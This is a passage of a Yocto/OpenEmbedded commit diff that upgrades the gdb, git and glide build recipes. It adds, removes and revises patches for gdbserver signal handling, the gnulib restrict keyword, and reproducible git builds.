+Subject: [PATCH 10/10] gdbserver ctrl-c handling
+
+This problem was created by the upstream commit 78708b7c8c
+After applying the commit, it will send SIGINT to the process
+group(-signal_pid).
+But if we use gdbserver send SIGINT, and the attached process is not a
+process
+group leader, then the "kill (-signal_pid, SIGINT)" returns error and
+fails to
+interrupt the attached process.
+
+Upstream-Status: Submitted
+[https://sourceware.org/bugzilla/show_bug.cgi?id=18945]
+
+Author: Josh Gao
+Signed-off-by: Zhixiong Chi <zhixiong.chi@windriver.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gdbserver/linux-low.cc | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/gdbserver/linux-low.cc b/gdbserver/linux-low.cc
+index 5c6191d941c..7f7acf6700d 100644
+--- a/gdbserver/linux-low.cc
++++ b/gdbserver/linux-low.cc
+@@ -5733,7 +5733,7 @@ linux_process_target::request_interrupt ()
+ {
+ /* Send a SIGINT to the process group. This acts just like the user
+ typed a ^C on the controlling terminal. */
+- ::kill (-signal_pid, SIGINT);
++ ::kill (signal_pid, SIGINT);
+ }
+
+ bool
+--
+2.33.1
+
diff --git a/meta/recipes-devtools/gdb/gdb/0010-resolve-restrict-keyword-conflict.patch b/meta/recipes-devtools/gdb/gdb/0010-resolve-restrict-keyword-conflict.patch
deleted file mode 100644
index 809d52f250..0000000000
--- a/meta/recipes-devtools/gdb/gdb/0010-resolve-restrict-keyword-conflict.patch
+++ /dev/null
@@ -1,48 +0,0 @@
-From 19b581056c1709f7d2872cd76b977542a0fe6142 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 10 May 2016 08:47:05 -0700
-Subject: [PATCH 10/11] resolve restrict keyword conflict
-
-GCC detects that we call 'restrict' as param name in function
-signatures and complains since both params are called 'restrict'
-therefore we use __restrict to denote the C99 keywork
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gdb/gnulib/import/sys_time.in.h | 8 ++++----
- 1 file changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/gdb/gnulib/import/sys_time.in.h b/gdb/gnulib/import/sys_time.in.h
-index b4a0e49c50..d22cea9aaf 100644
---- a/gdb/gnulib/import/sys_time.in.h
-+++ b/gdb/gnulib/import/sys_time.in.h
-@@ -93,20 +93,20 @@ struct timeval
- # define gettimeofday rpl_gettimeofday
- # endif
- _GL_FUNCDECL_RPL (gettimeofday, int,
-- (struct timeval *restrict, void *restrict)
-+ (struct timeval *__restrict, void *__restrict)
- _GL_ARG_NONNULL ((1)));
- _GL_CXXALIAS_RPL (gettimeofday, int,
-- (struct timeval *restrict, void *restrict));
-+ (struct timeval *__restrict, void *__restrict));
- # else
- # if !@HAVE_GETTIMEOFDAY@
- _GL_FUNCDECL_SYS (gettimeofday, int,
-- (struct timeval *restrict, void *restrict)
-+ (struct timeval *__restrict, void *__restrict)
- _GL_ARG_NONNULL ((1)));
- # endif
- /* Need to cast, because on glibc systems, by default, the second argument is
- struct timezone *. */
- _GL_CXXALIAS_SYS_CAST (gettimeofday, int,
-- (struct timeval *restrict, void *restrict));
-+ (struct timeval *__restrict, void *__restrict));
- # endif
- _GL_CXXALIASWARN (gettimeofday);
- # if defined __cplusplus && defined GNULIB_NAMESPACE
---
-2.18.0
-
diff --git a/meta/recipes-devtools/gdb/gdb/0011-Fix-invalid-sigprocmask-call.patch b/meta/recipes-devtools/gdb/gdb/0011-Fix-invalid-sigprocmask-call.patch
deleted file mode 100644
index bce025c391..0000000000
--- a/meta/recipes-devtools/gdb/gdb/0011-Fix-invalid-sigprocmask-call.patch
+++ /dev/null
@@ -1,49 +0,0 @@
-From b1985595e46721bb168ac38f4c841a915cc2f799 Mon Sep 17 00:00:00 2001
-From: Yousong Zhou <yszhou4tech@gmail.com>
-Date: Fri, 24 Mar 2017 10:36:03 +0800
-Subject: [PATCH 11/11] Fix invalid sigprocmask call
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-The POSIX document says
-
- The pthread_sigmask() and sigprocmask() functions shall fail if:
-
- [EINVAL]
- The value of the how argument is not equal to one of the defined values.
-
-and this is how musl-libc is currently doing. Fix the call to be safe
-and correct
-
- [1] http://pubs.opengroup.org/onlinepubs/9699919799/functions/pthread_sigmask.html
-
-gdb/ChangeLog:
-2017-03-24 Yousong Zhou <yszhou4tech@gmail.com>
-
- * common/signals-state-save-restore.c (save_original_signals_state):
- Fix invalid sigprocmask call.
-
-Upstream-Status: Pending [not author, cherry-picked from LEDE https://bugs.lede-project.org/index.php?do=details&task_id=637&openedfrom=-1%2Bweek]
-Signed-off-by: André Draszik <adraszik@tycoint.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gdb/common/signals-state-save-restore.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/gdb/common/signals-state-save-restore.c b/gdb/common/signals-state-save-restore.c
-index 5bb66321bb..6597decbc6 100644
---- a/gdb/common/signals-state-save-restore.c
-+++ b/gdb/common/signals-state-save-restore.c
-@@ -41,7 +41,7 @@ save_original_signals_state (bool quiet)
- int i;
- int res;
-
-- res = sigprocmask (0, NULL, &original_signal_mask);
-+ res = sigprocmask (SIG_BLOCK, NULL, &original_signal_mask);
- if (res == -1)
- perror_with_name (("sigprocmask"));
-
---
-2.18.0
-
diff --git a/meta/recipes-devtools/gdb/gdb_11.2.bb b/meta/recipes-devtools/gdb/gdb_11.2.bb
new file mode 100644
index 0000000000..9c6db4ca2c
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb_11.2.bb
@@ -0,0 +1,39 @@
+require gdb-common.inc
+
+inherit gettext pkgconfig
+
+#LDFLAGS:append = " -s"
+#export CFLAGS:append=" -L${STAGING_LIBDIR}"
+
+# cross-canadian must not see this
+PACKAGES =+ "gdbserver"
+FILES:gdbserver = "${bindir}/gdbserver"
+
+require gdb.inc
+
+inherit python3-dir
+
+EXTRA_OEMAKE:append:libc-musl = "\
+ gt_cv_func_gnugettext1_libc=yes \
+ gt_cv_func_gnugettext2_libc=yes \
+ gl_cv_func_working_strerror=yes \
+ gl_cv_func_strerror_0_works=yes \
+ gl_cv_func_gettimeofday_clobber=no \
+ "
+
+do_configure:prepend() {
+ if [ "${@bb.utils.filter('PACKAGECONFIG', 'python', d)}" ]; then
+ cat > ${WORKDIR}/python << EOF
+#!/bin/sh
+case "\$2" in
+ --includes) echo "-I${STAGING_INCDIR}/${PYTHON_DIR}${PYTHON_ABI}/" ;;
+ --ldflags) echo "-Wl,-rpath-link,${STAGING_LIBDIR}/.. -Wl,-rpath,${libdir}/.. -lpthread -ldl -lutil -lm -lpython${PYTHON_BASEVERSION}${PYTHON_ABI}" ;;
+ --exec-prefix) echo "${exec_prefix}" ;;
+ *) exit 1 ;;
+esac
+exit 0
+EOF
+ chmod +x ${WORKDIR}/python
+ fi
+}
+
diff --git a/meta/recipes-devtools/gdb/gdb_8.3.1.bb b/meta/recipes-devtools/gdb/gdb_8.3.1.bb
deleted file mode 100644
index d70757a151..0000000000
--- a/meta/recipes-devtools/gdb/gdb_8.3.1.bb
+++ /dev/null
@@ -1,28 +0,0 @@
-require gdb.inc
-require gdb-${PV}.inc
-
-inherit python3-dir
-
-EXTRA_OEMAKE_append_libc-musl = "\
- gt_cv_func_gnugettext1_libc=yes \
- gt_cv_func_gnugettext2_libc=yes \
- gl_cv_func_working_strerror=yes \
- gl_cv_func_strerror_0_works=yes \
- gl_cv_func_gettimeofday_clobber=no \
- "
-
-do_configure_prepend() {
- if [ "${@bb.utils.filter('PACKAGECONFIG', 'python', d)}" ]; then
- cat > ${WORKDIR}/python << EOF
-#!/bin/sh
-case "\$2" in
- --includes) echo "-I${STAGING_INCDIR}/${PYTHON_DIR}${PYTHON_ABI}/" ;;
- --ldflags) echo "-Wl,-rpath-link,${STAGING_LIBDIR}/.. -Wl,-rpath,${libdir}/.. -lpthread -ldl -lutil -lm -lpython${PYTHON_BASEVERSION}${PYTHON_ABI}" ;;
- --exec-prefix) echo "${exec_prefix}" ;;
- *) exit 1 ;;
-esac
-exit 0
-EOF
- chmod +x ${WORKDIR}/python
- fi
-}
diff --git a/meta/recipes-devtools/git/git.inc b/meta/recipes-devtools/git/git.inc
deleted file mode 100644
index 95ab397f6a..0000000000
--- a/meta/recipes-devtools/git/git.inc
+++ /dev/null
@@ -1,135 +0,0 @@
-SUMMARY = "Distributed version control system"
-HOMEPAGE = "http://git-scm.com"
-SECTION = "console/utils"
-LICENSE = "GPLv2"
-DEPENDS = "openssl curl zlib expat"
-
-PROVIDES_append_class-native = " git-replacement-native"
-
-SRC_URI = "${KERNELORG_MIRROR}/software/scm/git/git-${PV}.tar.gz;name=tarball \
- ${KERNELORG_MIRROR}/software/scm/git/git-manpages-${PV}.tar.gz;name=manpages"
-
-S = "${WORKDIR}/git-${PV}"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=7c0d7ef03a7eb04ce795b0f60e68e7e1"
-
-CVE_PRODUCT = "git-scm:git"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[cvsserver] = ""
-PACKAGECONFIG[svn] = ""
-
-EXTRA_OECONF = "--with-perl=${STAGING_BINDIR_NATIVE}/perl-native/perl \
- --without-tcltk \
-"
-
-# Needs brokensep as this doesn't use automake
-inherit autotools-brokensep perlnative bash-completion
-
-EXTRA_OEMAKE = "NO_PYTHON=1 CFLAGS='${CFLAGS}' LDFLAGS='${LDFLAGS}'"
-EXTRA_OEMAKE += "'PERL_PATH=/usr/bin/env perl'"
-EXTRA_OEMAKE_append_class-native = " NO_CROSS_DIRECTORY_HARDLINKS=1"
-
-do_compile_prepend () {
- # Remove perl/perl.mak to fix the out-of-date perl.mak error
- # during rebuild
- rm -f perl/perl.mak
-}
-
-do_install () {
- oe_runmake install DESTDIR="${D}" bindir=${bindir} \
- template_dir=${datadir}/git-core/templates
-
- for section in man1 man5 man7; do
- install -d ${D}/${mandir}/$section
- install -t ${D}/${mandir}/$section ${WORKDIR}/$section/*
- done
-
- install -d ${D}/${datadir}/bash-completion/completions/
- install -m 644 ${S}/contrib/completion/git-completion.bash ${D}/${datadir}/bash-completion/completions/git
-}
-
-perl_native_fixup () {
- sed -i -e 's#${STAGING_BINDIR_NATIVE}/perl-native/#${bindir}/#' \
- -e 's#${libdir}/perl-native/#${libdir}/#' \
- ${@d.getVar("PERLTOOLS").replace(' /',d.getVar('D') + '/')}
-
- if [ ! "${@bb.utils.filter('PACKAGECONFIG', 'cvsserver', d)}" ]; then
- # Only install the git cvsserver command if explicitly requested
- # as it requires the DBI Perl module, which does not exist in
- # OE-Core.
- rm ${D}${libexecdir}/git-core/git-cvsserver \
- ${D}${bindir}/git-cvsserver
- fi
-
- if [ ! "${@bb.utils.filter('PACKAGECONFIG', 'svn', d)}" ]; then
- # Only install the git svn command and all Git::SVN Perl modules
- # if explicitly requested as they require the SVN::Core Perl
- # module, which does not exist in OE-Core.
- rm -r ${D}${libexecdir}/git-core/git-svn \
- ${D}${datadir}/perl5/Git/SVN*
- fi
-}
-
-REL_GIT_EXEC_PATH = "${@os.path.relpath(libexecdir, bindir)}/git-core"
-REL_GIT_TEMPLATE_DIR = "${@os.path.relpath(datadir, bindir)}/git-core/templates"
-
-do_install_append_class-target () {
- perl_native_fixup
-}
-
-do_install_append_class-native() {
- create_wrapper ${D}${bindir}/git \
- GIT_EXEC_PATH='`dirname $''realpath`'/${REL_GIT_EXEC_PATH} \
- GIT_TEMPLATE_DIR='`dirname $''realpath`'/${REL_GIT_TEMPLATE_DIR}
-}
-
-do_install_append_class-nativesdk() {
- create_wrapper ${D}${bindir}/git \
- GIT_EXEC_PATH='`dirname $''realpath`'/${REL_GIT_EXEC_PATH} \
- GIT_TEMPLATE_DIR='`dirname $''realpath`'/${REL_GIT_TEMPLATE_DIR}
- perl_native_fixup
-}
-
-FILES_${PN} += "${datadir}/git-core ${libexecdir}/git-core/"
-
-PERLTOOLS = " \
- ${bindir}/git-cvsserver \
- ${libexecdir}/git-core/git-add--interactive \
- ${libexecdir}/git-core/git-archimport \
- ${libexecdir}/git-core/git-cvsexportcommit \
- ${libexecdir}/git-core/git-cvsimport \
- ${libexecdir}/git-core/git-cvsserver \
- ${libexecdir}/git-core/git-send-email \
- ${libexecdir}/git-core/git-svn \
- ${libexecdir}/git-core/git-instaweb \
- ${datadir}/gitweb/gitweb.cgi \
- ${datadir}/git-core/templates/hooks/prepare-commit-msg.sample \
- ${datadir}/git-core/templates/hooks/pre-rebase.sample \
- ${datadir}/git-core/templates/hooks/fsmonitor-watchman.sample \
-"
-
-# Git tools requiring perl
-PACKAGES =+ "${PN}-perltools"
-FILES_${PN}-perltools += " \
- ${PERLTOOLS} \
- ${libdir}/perl \
- ${datadir}/perl5 \
-"
-
-RDEPENDS_${PN}-perltools = "${PN} perl perl-module-file-path findutils"
-
-# git-tk package with gitk and git-gui
-PACKAGES =+ "${PN}-tk"
-#RDEPENDS_${PN}-tk = "${PN} tk tcl"
-#EXTRA_OEMAKE = "TCL_PATH=${STAGING_BINDIR_CROSS}/tclsh"
-FILES_${PN}-tk = " \
- ${bindir}/gitk \
- ${datadir}/gitk \
-"
-
-PACKAGES =+ "gitweb"
-FILES_gitweb = "${datadir}/gitweb/"
-RDEPENDS_gitweb = "perl"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/git/git/0001-config.mak.uname-do-not-force-RHEL-7-specific-build-.patch b/meta/recipes-devtools/git/git/0001-config.mak.uname-do-not-force-RHEL-7-specific-build-.patch
new file mode 100644
index 0000000000..e0f702f327
--- /dev/null
+++ b/meta/recipes-devtools/git/git/0001-config.mak.uname-do-not-force-RHEL-7-specific-build-.patch
@@ -0,0 +1,30 @@
+From 3b2505435bc6f982226eff84bad6bf9a36381573 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 7 Feb 2022 10:13:15 +0100
+Subject: [PATCH] config.mak.uname: do not force RHEL-7 specific build settings
+
+This breaks reproducibility as git builds on centos 7 use
+different flags than git builds on other host distros.
+
+Upstream-Status: Inappropriate [upstream needs to check compiler and component versions properly]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ config.mak.uname | 5 -----
+ 1 file changed, 5 deletions(-)
+
+diff --git a/config.mak.uname b/config.mak.uname
+index c48db45..9b3e9bf 100644
+--- a/config.mak.uname
++++ b/config.mak.uname
+@@ -63,11 +63,6 @@ ifeq ($(uname_S),Linux)
+ PROCFS_EXECUTABLE_PATH = /proc/self/exe
+ HAVE_PLATFORM_PROCINFO = YesPlease
+ COMPAT_OBJS += compat/linux/procinfo.o
+- # centos7/rhel7 provides gcc 4.8.5 and zlib 1.2.7.
+- ifneq ($(findstring .el7.,$(uname_R)),)
+- BASIC_CFLAGS += -std=c99
+- NO_UNCOMPRESS2 = YesPlease
+- endif
+ endif
+ ifeq ($(uname_S),GNU/kFreeBSD)
+ HAVE_ALLOCA_H = YesPlease
diff --git a/meta/recipes-devtools/git/git/fixsort.patch b/meta/recipes-devtools/git/git/fixsort.patch
new file mode 100644
index 0000000000..07a487e8ca
--- /dev/null
+++ b/meta/recipes-devtools/git/git/fixsort.patch
@@ -0,0 +1,31 @@
+[PATCH] generate-configlist.sh: Fix determinism issue
+
+Currently git binaries are not entirely reproducible, at least partly
+due to config-list.h differing in order depending on the system's
+locale settings. Under different locales, the entries:
+
+"sendemail.identity",
+"sendemail.<identity>.*",
+
+would differ in order for example and this leads to differences in
+the debug symbols for the binaries.
+
+This can be fixed by specifying the C locale for the sort in the
+shell script generating the header.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+Upstream-Status: Submitted [https://public-inbox.org/git/f029a942dd3d50d85e60bd37d8e454524987842f.camel@linuxfoundation.org/T/#u]
+
+Index: git-2.30.0/generate-configlist.sh
+===================================================================
+--- git-2.30.0.orig/generate-configlist.sh
++++ git-2.30.0/generate-configlist.sh
+@@ -9,7 +9,7 @@ static const char *config_name_list[] =
+ EOF
+ grep -h '^[a-zA-Z].*\..*::$' Documentation/*config.txt Documentation/config/*.txt |
+ sed '/deprecated/d; s/::$//; s/, */\n/g' |
+- sort |
++ LC_ALL=C sort |
+ sed 's/^.*$/ "&",/'
+ cat <<EOF
+ NULL,
diff --git a/meta/recipes-devtools/git/git_2.24.0.bb b/meta/recipes-devtools/git/git_2.24.0.bb
deleted file mode 100644
index e9cb382f69..0000000000
--- a/meta/recipes-devtools/git/git_2.24.0.bb
+++ /dev/null
@@ -1,11 +0,0 @@
-require git.inc
-
-EXTRA_OECONF += "ac_cv_snprintf_returns_bogus=no \
- ac_cv_fread_reads_directories=${ac_cv_fread_reads_directories=yes} \
- "
-EXTRA_OEMAKE += "NO_GETTEXT=1"
-
-SRC_URI[tarball.md5sum] = "ed39361a3ae362c8af852d1a06992bc2"
-SRC_URI[tarball.sha256sum] = "ad11030d2eac656ee9e8862f56d1610550f7867181beff814c7712a99192e99d"
-SRC_URI[manpages.md5sum] = "57465e83f13ba910a178b717d93958c0"
-SRC_URI[manpages.sha256sum] = "ce995f86f441b56ab1fd0788a94786904ae2e2989e7191fd68060003011366d7"
diff --git a/meta/recipes-devtools/git/git_2.35.1.bb b/meta/recipes-devtools/git/git_2.35.1.bb
new file mode 100644
index 0000000000..0cff3ce100
--- /dev/null
+++ b/meta/recipes-devtools/git/git_2.35.1.bb
@@ -0,0 +1,152 @@
+SUMMARY = "Distributed version control system"
+HOMEPAGE = "http://git-scm.com"
+DESCRIPTION = "Git is a free and open source distributed version control system designed to handle everything from small to very large projects with speed and efficiency."
+SECTION = "console/utils"
+LICENSE = "GPL-2.0-only"
+DEPENDS = "openssl curl zlib expat"
+
+PROVIDES:append:class-native = " git-replacement-native"
+
+SRC_URI = "${KERNELORG_MIRROR}/software/scm/git/git-${PV}.tar.gz;name=tarball \
+ file://fixsort.patch \
+ file://0001-config.mak.uname-do-not-force-RHEL-7-specific-build-.patch \
+ "
+
+S = "${WORKDIR}/git-${PV}"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=7c0d7ef03a7eb04ce795b0f60e68e7e1"
+
+CVE_PRODUCT = "git-scm:git"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[cvsserver] = ""
+PACKAGECONFIG[svn] = ""
+PACKAGECONFIG[manpages] = ",,asciidoc-native xmlto-native"
+
+EXTRA_OECONF = "--with-perl=${STAGING_BINDIR_NATIVE}/perl-native/perl \
+ --without-tcltk \
+ --without-iconv \
+"
+EXTRA_OECONF:append:class-nativesdk = " --with-gitconfig=/etc/gitconfig "
+
+# Needs brokensep as this doesn't use automake
+inherit autotools-brokensep perlnative bash-completion manpages
+
+EXTRA_OEMAKE = "NO_PYTHON=1 CFLAGS='${CFLAGS}' LDFLAGS='${LDFLAGS}'"
+EXTRA_OEMAKE += "'PERL_PATH=/usr/bin/env perl'"
+EXTRA_OEMAKE += "COMPUTE_HEADER_DEPENDENCIES=no"
+EXTRA_OEMAKE:append:class-native = " NO_CROSS_DIRECTORY_HARDLINKS=1"
+
+do_compile:prepend () {
+ # Remove perl/perl.mak to fix the out-of-date perl.mak error
+ # during rebuild
+ rm -f perl/perl.mak
+
+ if [ "${@bb.utils.filter('PACKAGECONFIG', 'manpages', d)}" ]; then
+ oe_runmake man
+ fi
+}
+
+do_install () {
+ oe_runmake install DESTDIR="${D}" bindir=${bindir} \
+ template_dir=${datadir}/git-core/templates
+
+ install -d ${D}/${datadir}/bash-completion/completions/
+ install -m 644 ${S}/contrib/completion/git-completion.bash ${D}/${datadir}/bash-completion/completions/git
+
+ if [ "${@bb.utils.filter('PACKAGECONFIG', 'manpages', d)}" ]; then
+ oe_runmake install-man DESTDIR="${D}"
+ fi
+}
+
+perl_native_fixup () {
+ sed -i -e 's#${STAGING_BINDIR_NATIVE}/perl-native/#${bindir}/#' \
+ -e 's#${libdir}/perl-native/#${libdir}/#' \
+ ${@d.getVar("PERLTOOLS").replace(' /',d.getVar('D') + '/')}
+
+ if [ ! "${@bb.utils.filter('PACKAGECONFIG', 'cvsserver', d)}" ]; then
+ # Only install the git cvsserver command if explicitly requested
+ # as it requires the DBI Perl module, which does not exist in
+ # OE-Core.
+ rm ${D}${libexecdir}/git-core/git-cvsserver \
+ ${D}${bindir}/git-cvsserver
+ fi
+
+ if [ ! "${@bb.utils.filter('PACKAGECONFIG', 'svn', d)}" ]; then
+ # Only install the git svn command and all Git::SVN Perl modules
+ # if explicitly requested as they require the SVN::Core Perl
+ # module, which does not exist in OE-Core.
+ rm -r ${D}${libexecdir}/git-core/git-svn \
+ ${D}${datadir}/perl5/Git/SVN*
+ fi
+}
+
+REL_GIT_EXEC_PATH = "${@os.path.relpath(libexecdir, bindir)}/git-core"
+REL_GIT_TEMPLATE_DIR = "${@os.path.relpath(datadir, bindir)}/git-core/templates"
+
+do_install:append:class-target () {
+ perl_native_fixup
+}
+
+do_install:append:class-native() {
+ create_wrapper ${D}${bindir}/git \
+ GIT_EXEC_PATH='`dirname $''realpath`'/${REL_GIT_EXEC_PATH} \
+ GIT_TEMPLATE_DIR='`dirname $''realpath`'/${REL_GIT_TEMPLATE_DIR}
+}
+
+do_install:append:class-nativesdk() {
+ create_wrapper ${D}${bindir}/git \
+ GIT_EXEC_PATH='`dirname $''realpath`'/${REL_GIT_EXEC_PATH} \
+ GIT_TEMPLATE_DIR='`dirname $''realpath`'/${REL_GIT_TEMPLATE_DIR}
+ perl_native_fixup
+}
+
+FILES:${PN} += "${datadir}/git-core ${libexecdir}/git-core/"
+
+PERLTOOLS = " \
+ ${bindir}/git-cvsserver \
+ ${libexecdir}/git-core/git-add--interactive \
+ ${libexecdir}/git-core/git-archimport \
+ ${libexecdir}/git-core/git-cvsexportcommit \
+ ${libexecdir}/git-core/git-cvsimport \
+ ${libexecdir}/git-core/git-cvsserver \
+ ${libexecdir}/git-core/git-send-email \
+ ${libexecdir}/git-core/git-svn \
+ ${libexecdir}/git-core/git-instaweb \
+ ${datadir}/gitweb/gitweb.cgi \
+ ${datadir}/git-core/templates/hooks/prepare-commit-msg.sample \
+ ${datadir}/git-core/templates/hooks/pre-rebase.sample \
+ ${datadir}/git-core/templates/hooks/fsmonitor-watchman.sample \
+"
+
+# Git tools requiring perl
+PACKAGES =+ "${PN}-perltools"
+FILES:${PN}-perltools += " \
+ ${PERLTOOLS} \
+ ${libdir}/perl \
+ ${datadir}/perl5 \
+"
+
+RDEPENDS:${PN}-perltools = "${PN} perl perl-module-file-path findutils"
+
+# git-tk package with gitk and git-gui
+PACKAGES =+ "${PN}-tk"
+#RDEPENDS_${PN}-tk = "${PN} tk tcl"
+#EXTRA_OEMAKE = "TCL_PATH=${STAGING_BINDIR_CROSS}/tclsh"
+FILES:${PN}-tk = " \
+ ${bindir}/gitk \
+ ${datadir}/gitk \
+"
+
+PACKAGES =+ "gitweb"
+FILES:gitweb = "${datadir}/gitweb/"
+RDEPENDS:gitweb = "perl"
+
+BBCLASSEXTEND = "native nativesdk"
+
+EXTRA_OECONF += "ac_cv_snprintf_returns_bogus=no \
+ ac_cv_fread_reads_directories=${ac_cv_fread_reads_directories=yes} \
+ "
+EXTRA_OEMAKE += "NO_GETTEXT=1"
+
+SRC_URI[tarball.sha256sum] = "9845a37dd01f9faaa7d8aa2078399d3aea91b43819a5efea6e2877b0af09bd43"
diff --git a/meta/recipes-devtools/glide/glide_0.13.2.bb b/meta/recipes-devtools/glide/glide_0.13.2.bb
deleted file mode 100644
index 7faaf4a388..0000000000
--- a/meta/recipes-devtools/glide/glide_0.13.2.bb
+++ /dev/null
@@ -1,38 +0,0 @@
-SUMMARY = "Vendor Package Management for Golang"
-HOMEPAGE = "https://glide.sh"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://src/${GO_IMPORT}/LICENSE;md5=54905cf894f8cc416a92f4fc350c35b2"
-
-GO_IMPORT = "github.com/Masterminds/glide"
-SRC_URI = "git://${GO_IMPORT}"
-SRCREV = "9ef6ca313b3200079861f2de4e567b1d22081d19"
-
-inherit go
-
-RDEPENDS_${PN}-dev += "bash"
-RDEPENDS_${PN}-ptest += "bash"
-
-BBCLASSEXTEND = "native nativesdk"
-
-# for x86 ends with textrel in ${PN}
-# http://errors.yoctoproject.org/Errors/Details/185631/
-# ERROR: QA Issue: ELF binary '/work/i586-oe-linux/glide/0.13.1-r0/packages-split/glide/usr/bin/glide' has relocations in .text [textrel]
-INSANE_SKIP_${PN} += "textrel"
-
-# for aarch64 ends with textrel in ${PN}-ptest
-# http://errors.yoctoproject.org/Errors/Details/185633/
-# ERROR: QA Issue: ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/glide.test' has relocations in .text
-# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/dependency/dependency.test' has relocations in .text
-# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/repo/repo.test' has relocations in .text
-# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/mirrors/mirrors.test' has relocations in .text
-# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/cfg/cfg.test' has relocations in .text
-# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/godep/strip/strip.test' has relocations in .text
-# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/path/path.test' has relocations in .text
-# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/tree/tree.test' has relocations in .text
-# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/util/util.test' has relocations in .text
-# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/action/action.test' has relocations in .text
-# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/cache/cache.test' has relocations in .text [textrel]
-INSANE_SKIP_${PN}-ptest += "textrel"
-
-# fails to run task compile_ptest_base on mips
-PTEST_ENABLED_mipsarch = "0"
diff --git a/meta/recipes-devtools/glide/glide_0.13.3.bb b/meta/recipes-devtools/glide/glide_0.13.3.bb
new file mode 100644
index 0000000000..db703c2d21
--- /dev/null
+++ b/meta/recipes-devtools/glide/glide_0.13.3.bb
@@ -0,0 +1,43 @@
+SUMMARY = "Vendor Package Management for Golang"
+HOMEPAGE = "https://github.com/Masterminds/glide"
+DESCRIPTION = "Glide is a Vendor Package Management for Golang"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://src/${GO_IMPORT}/LICENSE;md5=54905cf894f8cc416a92f4fc350c35b2"
+
+GO_IMPORT = "github.com/Masterminds/glide"
+SRC_URI = "git://${GO_IMPORT};branch=master;protocol=https"
+SRCREV = "8ed5b9292379d86c39592a7e6a58eb9c903877cf"
+
+inherit go
+
+# New Go versions has Go modules support enabled by default and cause the Glide
+# tool build to fail.
+export GO111MODULE = "off"
+
+RDEPENDS:${PN}-dev += "bash"
+RDEPENDS:${PN}-ptest += "bash"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# for x86 ends with textrel in ${PN}
+# http://errors.yoctoproject.org/Errors/Details/185631/
+# ERROR: QA Issue: ELF binary '/work/i586-oe-linux/glide/0.13.1-r0/packages-split/glide/usr/bin/glide' has relocations in .text [textrel]
+INSANE_SKIP:${PN} += "textrel"
+
+# for aarch64 ends with textrel in ${PN}-ptest
+# http://errors.yoctoproject.org/Errors/Details/185633/
+# ERROR: QA Issue: ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/glide.test' has relocations in .text
+# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/dependency/dependency.test' has relocations in .text
+# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/repo/repo.test' has relocations in .text
+# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/mirrors/mirrors.test' has relocations in .text
+# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/cfg/cfg.test' has relocations in .text
+# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/godep/strip/strip.test' has relocations in .text
+# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/path/path.test' has relocations in .text
+# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/tree/tree.test' has relocations in .text
